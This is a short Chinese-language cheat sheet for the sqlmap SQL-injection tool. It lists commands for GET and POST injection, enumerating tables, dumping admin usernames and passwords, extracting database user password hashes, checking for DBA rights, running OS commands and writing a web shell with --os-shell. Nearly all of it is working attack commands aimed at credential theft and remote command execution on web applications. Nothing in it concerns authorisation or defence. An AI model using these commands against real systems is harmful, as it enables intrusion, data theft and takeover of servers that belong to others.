sqlmap使用

GET注入

sqlmap.py -u "url" 检测存在不存在注入

sqlmap.py -u "url" --tables    列出数据库的表

sqlmap.py -u "url" --columns -T admin    列出admin的内容

sqlmap.py -u "url" --dump -T admin "useradmin,password"    列出useradmin password的内容

POST注入

sqlmap.py -u "www.xxx.com/index.php" --data "user=1&pass=1" --dbs 指定post参数注入出数据库

sqlmap.py -u "www.xxx.com/index.php" --forms    sqlmap自动查找网页上的表单，并注入

sqlmap.py -r 1.txt -p user 用burp抓包，保存为1.txt 然后用-r参数注入，用-p参数来指定网页上的参数

查看权限写shell

sqlmap.py -u "url" --user 列出数据库的所以用户

sqlmap.py -u "url" --passwords 列出数据库用户的密码

sqlmap.py -u "url" --current-db 查看当前使用网站数据库的名字

sqlmap.py -u "url" --current-user 查看当前网站数据库的用户名称

sqlmap.py -u "url" --is-dba 查看当前用户是否是管理员权限   True代表有，如果没有的话就是False

如果，你验证了，是dba权限,那么就可以执行下面的命令了。

在数据库为mysql、postgresql、sql server时可以用    sqlmap.py -u "url" --os-cmd 来模拟一个cmd命令，然后执行一些命令，比如    sqlmap.py -u "url" --os-cmd=ipconfig 来获得ip。

sqlmap.py -u "url" --os-shell 写入一个shell，这里默认是php，如果是别的要自己选择。

其他参数

#sqlmap -techenique 参数

B：布尔型注入

E：报错型注入

U：可联合查询注入

S：可多语句查询注入

T：基于时间延迟注入

--dbms=”mysql”指定 mysql 数据库

--level=x  x是要指定的数